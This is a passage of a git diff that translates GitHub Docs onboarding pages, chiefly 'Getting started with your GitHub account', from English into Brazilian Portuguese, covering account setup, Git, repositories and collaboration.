+Você pode ler a documentação que reflete as funcionalidades disponíveis com {% data variables.product.prodname_team %}. Para obter mais informações, consulte "[Sobre as versões do {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
 
-### 4. Learning with {% data variables.product.prodname_learning %}
+### 4. Aprendendo com {% data variables.product.prodname_learning %}
 {% data reusables.getting-started.learning-lab %}
 
-### 5. Supporting the open source community
+### 5. Apoiar a comunidade de código aberto
 {% data reusables.getting-started.sponsors %}
 
-### 6. Contacting {% data variables.contact.github_support %}
+### 6. Entrar em contato com o {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
-## Further reading
+## Leia mais
 
-- "[Getting started with your GitHub account](/get-started/onboarding/getting-started-with-your-github-account)"
+- "[Introdução à sua conta do GitHub](/get-started/onboarding/getting-started-with-your-github-account)"
diff --git a/translations/pt-BR/content/get-started/onboarding/getting-started-with-your-github-account.md b/translations/pt-BR/content/get-started/onboarding/getting-started-with-your-github-account.md
index 245a75c61f..e5b87a77f4 100644
--- a/translations/pt-BR/content/get-started/onboarding/getting-started-with-your-github-account.md
+++ b/translations/pt-BR/content/get-started/onboarding/getting-started-with-your-github-account.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with your GitHub account
-intro: 'With a user account on {% data variables.product.prodname_dotcom %}, you can import or create repositories, collaborate with others, and connect with the {% data variables.product.prodname_dotcom %} community.'
+title: Introdução à sua conta do GitHub
+intro: 'Com uma conta de usuário no {% data variables.product.prodname_dotcom %}, você pode importar ou criar repositórios, colaborar com outros e conectar-se com a comunidade de {% data variables.product.prodname_dotcom %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,196 +8,196 @@ versions:
   ghec: '*'
 ---
 
-This guide will walk you through setting up your {% data variables.product.company_short %} account and getting started with {% data variables.product.product_name %}'s features for collaboration and community.
+Este guia irá ajudar você a configurar sua conta de {% data variables.product.company_short %} e dar os primeiros passos com as funcionalidades de {% data variables.product.product_name %} para colaboração e comunidade.
 
-## Part 1: Configuring your {% data variables.product.prodname_dotcom %} account
+## Parte 1: Configurando sua conta de {% data variables.product.prodname_dotcom %}
 
 {% ifversion fpt or ghec %}
-The first steps in starting with {% data variables.product.product_name %} are to create an account, choose a product that fits your needs best, verify your email, set up two-factor authentication, and view your profile.
+Os primeiros passos para começar com {% data variables.product.product_name %} são criar uma conta, escolher um produto que se adeque melhor às suas necessidades, verificar o seu e-mail, configurar a autenticação de dois fatores e verificar o seu perfil.
 {% elsif ghes %}
-The first steps in starting with {% data variables.product.product_name %} are to access your account, set up two-factor authentication, and view your profile.
+Os primeiros passos para começar com {% data variables.product.product_name %} são acessar sua conta, configurar a autenticação de dois fatores e ver seu perfil.
 {% elsif ghae %}
-The first steps in starting with {% data variables.product.product_name %} are to access your account and view your profile.
+Os primeiros passos para começar com {% data variables.product.product_name %} são acessar a sua conta e ver o seu perfil.
 {% endif %}
 
-{% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.prodname_dotcom %}. {% endif %} Every person who uses {% data variables.product.product_name %} has their own user account, which can be part of multiple organizations and teams. Your user account is your identity on {% data variables.product.product_location %} and represents you as an individual.
+{% ifversion fpt or ghec %}Existem vários tipos de contas em {% data variables.product.prodname_dotcom %}. {% endif %} Toda pessoa que usar {% data variables.product.product_name %} terá sua própria conta de usuário e poderá fazer parte de várias organizações e equipes. A sua conta de usuário é sua identidade em {% data variables.product.product_location %} e representa você como indivíduo.
 
 {% ifversion fpt or ghec %}
-### 1. Creating an account
-To sign up for an account on {% data variables.product.product_location %}, navigate to https://github.com/ and follow the prompts.
+### 1. Criar uma conta
+Para se inscrever em uma conta em {% data variables.product.product_location %}, acesse https://github.com/ e siga as instruções.
 
-To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)."
+Para manter a sua conta de {% data variables.product.prodname_dotcom %} segura, você deverá usar uma senha forte e exclusiva. Para obter mais informações, consulte "[Criar uma senha forte](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)".
 
-### 2. Choosing your {% data variables.product.prodname_dotcom %} product
-You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want.
+### 2. Escolhendo seu produto de {% data variables.product.prodname_dotcom %}
+Você pode escolher {% data variables.product.prodname_free_user %} ou {% data variables.product.prodname_pro %} para obter acesso a diferentes recursos da sua conta pessoal. Você pode fazer a atualização a qualquer momento se não tiver certeza qual o produto você deseja.
 
-For more information on all of {% data variables.product.prodname_dotcom %}'s plans, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)."
+Para obter mais informações sobre todos os planos de {% data variables.product.prodname_dotcom %}, consulte "[Produtos de {% data variables.product.prodname_dotcom %}de](/get-started/learning-about-github/githubs-products)".
 
-### 3. Verifying your email address
-To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. For more information, see "[Verifying your email address](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)."
+### 3. Verificar endereço de e-mail
+Para garantir que você possa utilizar todos os recursos do seu plano de {% data variables.product.product_name %}, verifique o seu endereço de e-mail após inscrever-se em uma nova conta. Para obter mais informações, consulte "[Verificar o endereço de e-mail](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)".
 {% endif %}
 
 {% ifversion ghes %}
-### 1. Accessing your account
-The administrator of your {% data variables.product.product_name %} instance will notify you about how to authenticate and access your account. The process varies depending on the authentication mode they have configured for the instance.
+### 1. Acessando a sua conta
+O administrador da sua instância de {% data variables.product.product_name %} irá notificar você sobre como efetuar a autenticação e acessar a sua conta. O processo varia dependendo do modo de autenticação que eles configuraram para a instância.
 {% endif %}
 
 {% ifversion ghae %}
-### 1. Accessing your account
-You will receive an email notification once your enterprise owner for {% data variables.product.product_name %} has set up your account, allowing you to authenticate with SAML single sign-on (SSO) and access your account.
+### 1. Acessando a sua conta
+Você receberá uma notificação por e-mail assim que o proprietário corporativo de {% data variables.product.product_name %} tiver configurado a sua conta permitindo que você efetue a autenticação com o logon único SAML (SSO) e acesse sua conta.
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication
-Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see "[About two-factor authentication](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)."
+### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configurando a autenticação de dois fatores
+A autenticação de dois fatores, ou 2FA, é uma camada extra de segurança usada no logon em sites ou apps. É altamente recomendável que você configure a 2FA para a segurança da sua conta. Para obter mais informações, consulte "[Sobre a autenticação de dois fatores](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)".
 {% endif %}
-### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.prodname_dotcom %} profile and contribution graph
-Your {% data variables.product.prodname_dotcom %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see "[About your profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" and "[Viewing contributions on your profile](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)."
+### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Visualizando seu {% data variables.product.prodname_dotcom %} perfil e gráfico de contribuição
+Seu perfil de {% data variables.product.prodname_dotcom %} conta a história do seu trabalho por meio dos repositórios e dos gists que você fixou, as associações da organização que você escolheu divulgar, as contribuições que você fez e os projetos que você criou. Para obter mais informações, consulte "[Sobre o seu perfil](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" e "[Visualizando as contribuições no seu perfil](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)".
 
-## Part 2: Using {% data variables.product.product_name %}'s tools and processes
-To best use {% data variables.product.product_name %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown.
+## Parte 2: Usando ferramentas e processos de {% data variables.product.product_name %}
+Para usar {% data variables.product.product_name %} da melhor forma, você deverá configurar o Git. O Git é responsável por tudo relacionado ao {% data variables.product.prodname_dotcom %} que acontece localmente no computador. Para colaborar de forma efetiva em {% data variables.product.product_name %}, você escreverá em problemas e pull requests usando o Markdown enriquecido de {% data variables.product.prodname_dotcom %}.
 
-### 1. Learning Git
-{% data variables.product.prodname_dotcom %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update using Git. For more information about Git, see the "[Git Handbook](https://guides.github.com/introduction/git-handbook/)" guide. For more information about how Git is used on {% data variables.product.product_name %}, see "[{% data variables.product.prodname_dotcom %} flow](/get-started/quickstart/github-flow)."
-### 2. Setting up Git
-If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see "[Set up Git](/get-started/quickstart/set-up-git)."
+### 1. Aprendendo a usar o Git
+A abordagem colaborativa do {% data variables.product.prodname_dotcom %} para o desenvolvimento depende da publicação dos commits do repositório local para {% data variables.product.product_name %} para que outras pessoas vejam, busquem e atualizem outras pessoas que usam o Git. Para obter mais informações sobre o Git, consulte o guia "[Manual do Git](https://guides.github.com/introduction/git-handbook/)". Para obter mais informações sobre como Git é usado em {% data variables.product.product_name %}, consulte "[Fuxo de {% data variables.product.prodname_dotcom %}](/get-started/quickstart/github-flow)".
+### 2. Configurar o Git
+Se você planeja usar o Git localmente no seu computador, por meio da linha de comando, editor de IDE ou texto, você deverá instalar e configurar o Git. Para obter mais informações, consulte "[Configurar o Git](/get-started/quickstart/set-up-git)".
 
-If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)."
+Se você preferir usar uma interface visual, você poderá fazer o download e usar {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} vem empacotado com o Git. Portanto não há a necessidade de instalar o Git separadamente. Para obter mais informações, consulte "[Introdução ao {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)".
 
-Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. For more information, see "[About remote repositories](/get-started/getting-started-with-git/about-remote-repositories)."
+Depois de instalar o Git, você poderá conectar-se aos repositórios de {% data variables.product.product_name %} a partir do seu computador local, independentemente de ser o seu próprio repositório ou a bifurcação de outro usuário. Ao conectar-se a a um repositório no {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} do Git, você deveá efetuar a autenticação com {% data variables.product.product_name %} usando HTTPS ou SSH. Para obter mais informações, consulte "[Sobre repositórios remotos](/get-started/getting-started-with-git/about-remote-repositories)."
 
-### 3. Choosing how to interact with {% data variables.product.product_name %}
-Everyone has their own unique workflow for interacting with {% data variables.product.prodname_dotcom %}; the interfaces and methods you use depend on your preference and what works best for your needs.
+### 3. Escolhendo como interagir com {% data variables.product.product_name %}
+Todos têm seu próprio fluxo de trabalho único para interagir com {% data variables.product.prodname_dotcom %}; as interfaces e métodos que você usa dependem da sua preferência e do que funciona melhor para as suas necessidades.
 
-For more information about how to authenticate to {% data variables.product.product_name %} with each of these methods, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)."
+Para obter mais informações sobre como efetuar a autenticação em {% data variables.product.product_name %} com cada um desses métodos, consulte "[Sobre autenticação em {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)".
 
-| **Method**  | **Description** | **Use cases** |
-| ------------- | ------------- | ------------- |
-| Browse to {% data variables.product.prodname_dotcom_the_website %} | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.| This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally. |
-| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}. |
-| IDE or text editor  | You can set a default text editor, like [Atom](https://atom.io/) or [Visual Studio Code](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)." | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor. |
-| Command line, with or without {% data variables.product.prodname_cli %} | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."<br/><br/> {% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line. |
-| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)." | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. |
-### 4. Writing on {% data variables.product.product_name %}
-To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)."
+| **Método**                                                                                                                                  | **Descrição**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | **Casos de uso**                                                                                                                                                                                                                                                                                                           |
+| ------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Acesse {% data variables.product.prodname_dotcom_the_website %}                                                                           | Se você não precisar trabalhar com arquivos localmente, {% data variables.product.product_name %} permite que você realize a maioria das ações relacionadas ao Gits diretamente no navegador, da criação e bifurcação de repositórios até a edição de arquivos e abertura de pull requests.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Esse método é útil se você quiser uma interface visual e precisar fazer mudanças rápidas e simples que não requerem trabalho local.                                                                                                                                                                                        |
+| {% data variables.product.prodname_desktop %}                                                                                               | O {% data variables.product.prodname_desktop %} amplia e simplifica o fluxo de trabalho no {% data variables.product.prodname_dotcom_the_website %} com uma interface visual, em vez de comandos de texto na linha de comando. Para obter mais informações sobre como começar com {% data variables.product.prodname_desktop %}, consulte "[Primeiros passos com o {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)".                                                                                                                                                                                                                                                                                                                                                             | Este método é melhor se você precisa ou deseja trabalhar com arquivos localmente, mas preferir usar uma interface visual para usar o Git e interagir com {% data variables.product.product_name %}.                                                                                                                        |
+| Editor de IDE ou de texto                                                                                                                   | Você pode definir um editor de texto padrão, curtir [Atom](https://atom.io/) ou [Visual Studio Code](https://code.visualstudio.com/) para abrir e editar seus arquivos com o Git, usar extensões e ver a estrutura do projeto. Para obter mais informações, consulte "[Associando editores de texto ao Git](/github/using-git/associating-text-editors-with-git)".                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Isto é conveniente se você estiver trabalhando com arquivos e projetos mais complexos e quiser ter tudo em um só lugar, uma vez que os editores de texto ou IDEs muitas vezes permitem que você acesse diretamente a linha de comando no editor.                                                                           |
+| Linha de comando, com ou sem {% data variables.product.prodname_cli %}                                                                      | Para o controle e personalização mais granulares de como você usa o Git e interage com {% data variables.product.product_name %}, você pode usar a linha de comando. Para obter mais informações sobre como usar comandos do Git, consulte "[Folha de informações do Git](/github/getting-started-with-github/quickstart/git-cheatsheet).<br/><br/> {% data variables.product.prodname_cli %} é uma ferramenta separada de linha de comando separada que você pode instalar e que traz pull requests, problemas, {% data variables.product.prodname_actions %}, e outros recursos de {% data variables.product.prodname_dotcom %} para o seu terminal, para que você possa fazer todo o seu trabalho em um só lugar. Para obter mais informações, consulte "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)". | Isto é muito conveniente se você já estiver trabalhando na linha de comando, o que permite que você evite mudar o contexto, ou se você estiver mais confortável usando a linha de comando.                                                                                                                                 |
+| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} tem uma API REST e uma API do GraphQL que você pode usar para interagir com {% data variables.product.product_name %}. Para obter mais informações, consulte "[Primeiros passos com a API](/github/extending-github/getting-started-with-the-api)".                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | A API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} seria muito útil se você quisesse automatizar tarefas comuns, fazer backup dos seus dados ou criar integrações que estendem {% data variables.product.prodname_dotcom %}. |
+### 4. Escrevendo em {% data variables.product.product_name %}
+Para deixar sua comunicação clara e organizada nos problemas e pull requests, você pode usar o Markdown enriquecido {% data variables.product.prodname_dotcom %} para formatação, que combina uma sintaxe fácil de ler e fácil de escrever com algumas funcionalidades personalizadas. Para obter mais informações, consulte "[Sobre gravação e formatação no {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)".
 
-You can learn {% data variables.product.prodname_dotcom %} Flavored Markdown with the "[Communicating using Markdown](https://lab.github.com/githubtraining/communicating-using-markdown)" course on {% data variables.product.prodname_learning %}.
+Você pode aprender o Markdown enriquecido de {% data variables.product.prodname_dotcom %} com o curso "[Comunicando-se usando o Markdown](https://lab.github.com/githubtraining/communicating-using-markdown)" em {% data variables.product.prodname_learning %}.
 
-### 5. Searching on {% data variables.product.product_name %}
-Our integrated search allows you to find what you are looking for among the many repositories, users and lines of code on {% data variables.product.product_name %}. You can search globally across all of {% data variables.product.product_name %} or limit your search to a particular repository or organization. For more information about the types of searches you can do on {% data variables.product.product_name %}, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)."
+### 5. Pesquisando em {% data variables.product.product_name %}
+Nossa pesquisa integrada permite que você encontre o que você está procurando entre os muitos repositórios, usuários e linhas de código em {% data variables.product.product_name %}. Você pode pesquisar globalmente em todos os {% data variables.product.product_name %} ou limitar sua pesquisa a um repositório ou organização em particular. Para obter mais informações sobre os tipos de pesquisas que você pode fazer em {% data variables.product.product_name %}, consulte "[Sobre pesquisar no {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)".
 
-Our search syntax allows you to construct queries using qualifiers to specify what you want to search for. For more information on the search syntax to use in search, see "[Searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)."
+Nossa sintaxe de pesquisa permite que você construa consultas usando qualificadores para especificar o que você deseja pesquisar. Para obter mais informações sobre a sintaxe de pesquisa para usar na pesquisa, consulte "[Pesquisando em {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)".
 
-### 6. Managing files on {% data variables.product.product_name %}
-With {% data variables.product.product_name %}, you can create, edit, move and delete files in your repository or any repository you have write access to. You can also track the history of changes in a file line by line. For more information, see "[Managing files on {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)."
+### 6. Gerenciando arquivos em {% data variables.product.product_name %}
+Com {% data variables.product.product_name %}, você pode criar, editar, mover e excluir arquivos no seu repositório ou em qualquer repositório ao qual você tenha acesso de gravação. Você também pode acompanhar o histórico de alterações de um arquvo linha por linha. Para obter mais informações, consulte "[Gerenciar arquivos em {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)".
 
-## Part 3: Collaborating on {% data variables.product.product_name %}
-Any number of people can work together in repositories across {% data variables.product.product_name %}. You can configure settings, create project boards, and manage your notifications to encourage effective collaboration.
+## Parte 3: Colaborando em {% data variables.product.product_name %}
+Qualquer quantidade de pessoas pode trabalhar juntas nos repositórios de {% data variables.product.product_name %}. É possível configurar configurações, criar quadros de projetos e gerenciar suas notificações para incentivar uma colaboração eficaz.
 
-### 1. Working with repositories
+### 1. Trabalhando com repositórios
 
-#### Creating a repository
-A repository is like a folder for your project. You can have any number of public and private repositories in your user account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)."
+#### Criar um repositório
+Um repositório é como uma pasta para seu projeto. Você pode ter qualquer número de repositórios públicos e privados na sua conta de usuário. Os repositórios podem conter pastas e arquivos, imagens, vídeos, planilhas e conjuntos de dados, bem como o histórico de revisão para todos os arquivos no repositório. Para obter mais informações, consulte "[Sobre repositórios](/github/creating-cloning-and-archiving-repositories/about-repositories)".
 
-When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
+Ao criar um novo repositório, você deverá inicializar o repositório com um arquivo README para que as pessoas conheçam o seu projeto. Para obter mais informações, consulte "[Criar um novo repositório](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
 
-#### Cloning a repository
-You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)."
+#### Clonar um repositório
+Você pode clonar um repositório existente a partir de {% data variables.product.product_name %} para o seu computador local, facilitando a adição ou remoção dos arquivos, correção de conflitos de merge ou realização de commits complexos. Clonar um repositório extrai uma cópia completa de todos os dados do repositório que o {% data variables.product.prodname_dotcom %} tem nesse momento, incluindo todas as versões de cada arquivo e pasta do projeto. Para obter mais informações, consulte "[Clonar um repositório](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)".
 
-#### Forking a repository
-A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)."
-### 2. Importing your projects
-If you have existing projects you'd like to move over to {% data variables.product.product_name %} you can import projects using the {% data variables.product.prodname_dotcom %} Importer, the command line, or external migration tools. For more information, see "[Importing source code to {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)."
+#### Bifurcar um repositório
+Uma bifurcação é uma cópia de um repositório que você gerencia, em que todas as alterações que você fizer não afetarão o repositório original a menos que você envie um pull request para o proprietário do projeto. O uso mais comum das bifurcações são propostas de mudanças no projeto de alguma outra pessoa ou o uso do projeto de outra pessoa como ponto de partida para sua própria ideia. Para obter mais informações, consulte "[Trabalhando com as bifurcações](/github/collaborating-with-pull-requests/working-with-forks)".
+### 2. Importar seus projetos
+Se você tiver projetos existentes que deseja mover para {% data variables.product.product_name %}, você poderá importar projetos usando o Importador de {% data variables.product.prodname_dotcom %}, a linha de comando ou as ferramentas externas de migração. Para obter mais informações, consulte "[Importando código-fonte para {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)".
 
-### 3. Managing collaborators and permissions
-You can collaborate on your project with others using your repository's issues, pull requests, and project boards. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)."
+### 3. Gerenciando colaboradores e permissões
+Você pode colaborar em seu projeto com outras pessoas usando os problemas, as pull requests e os quadros de projeto do repositório. Você pode convidar outras pessoas para o seu repositório como colaboradores na aba **Colaboradores** nas configurações do repositório. Para obter mais informações, consulte "[Convidar colaboradores para um repositório pessoal](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)".
 
-You are the owner of any repository you create in your user account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)."
+Você é o proprietário de qualquer repositório que você cria na sua conta de usuário e você tem controle total sobre repositório. Os colaboradores têm acesso de gravação ao seu repositório, limitando o que eles têm permissão para fazer. Para obter mais informações, consulte "[Níveis de permissão para um repositório de conta de usuário](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)".
 
-### 4. Managing repository settings
-As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)."
+### 4. Gerenciar configurações do repositório
+Como proprietário de um repositório, você pode configurar diversas configurações, incluindo a visibilidade do repositório, tópicos e a pré-visualização das mídias sociais. Para obter mais informações, consulte "[Gerenciar configurações do repositório](/github/administering-a-repository/managing-repository-settings)".
 
-### 5. Setting up your project for healthy contributions
+### 5. Configurar projeto para contribuições úteis
 {% ifversion fpt or ghec %}
-To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see "[Building Welcoming Communities](https://opensource.guide/building-community/)" in the Open Source Guides.
+Para incentivar os colaboradores do seu repositório, você precisa de uma comunidade que incentive as pessoas a usar, contribuir e evangelizar o seu projeto. Para obter mais informações, consulte "[Criando comunidades de bem-estar](https://opensource.guide/building-community/)" nos guias de código aberto.
 
-By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+Ao adicionar arquivos como diretrizes de contribuição, um código de conduta e uma licença para o repositório é possível criar um ambiente em que seja mais fácil para os colaboradores fazerem contribuições úteis e significativas. Para obter mais informações, consulte "[Configurando seu projeto para Contribuições Úteis](/communities/setting-up-your-project-for-healthy-contributions)."
 {% endif %}
 {% ifversion ghes or ghae %}
-By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+Ao adicionar arquivos como diretrizes de contribuição, um código de conduta, e recursos de suporte ao seu repositório, você pode criar um ambiente em que seja mais fácil para os colaboradores fazerem contribuições significativas e úteis. Para obter mais informações, consulte "[Configurando seu projeto para Contribuições Úteis](/communities/setting-up-your-project-for-healthy-contributions)."
 {% endif %}
 
-### 6. Using GitHub Issues and project boards
-You can use GitHub Issues to organize your work with issues and pull requests and manage your workflow with project boards. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)" and "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
+### 6. Usando os problemas e os quadros de projeto do GitHub
+Você pode usar os problemas do GitHub para organizar seu trabalho com problemas e pull requests, bem como gerenciar seu fluxo de trabalho com quadros de projetos. Para obter mais informações, consulte "[Sobre os problemas](/issues/tracking-your-work-with-issues/about-issues)" e "[Sobre os quadros de projeto](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)".
 
-### 7. Managing notifications
-Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+### 7. Gerenciando notificações
